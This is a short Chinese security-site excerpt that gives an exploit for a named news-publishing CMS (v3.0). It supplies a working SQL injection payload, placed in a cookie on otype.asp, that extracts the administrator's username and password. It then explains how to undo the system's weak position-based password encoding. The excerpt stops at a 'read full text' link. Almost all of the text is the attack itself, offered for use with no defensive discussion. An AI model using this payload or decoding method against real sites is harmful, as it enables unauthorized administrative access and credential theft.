专注于互联网--专注于架构

雷驰显卡:雷驰新闻发布管理系统v3.0漏洞很简单

来源:安全中国 第个就是得到管理员密码和用户名 在http://127.0.0.1/otype.asp?owen1=文体新闻 加上下面段COOKIES owen2=娱乐新闻' and 1=2 union select 1,admin,3,4,5,6,7,8,password,10,11 from admin where 1<2 and ''=' (注意要转换下)直接得到管理员用户名和密码 其密码简单加密了第位加1第 2位加2第5位加5 如果密码本来是aaaaa话那么加密出来就是bcdef 如果加密 [阅读全文] [PDF]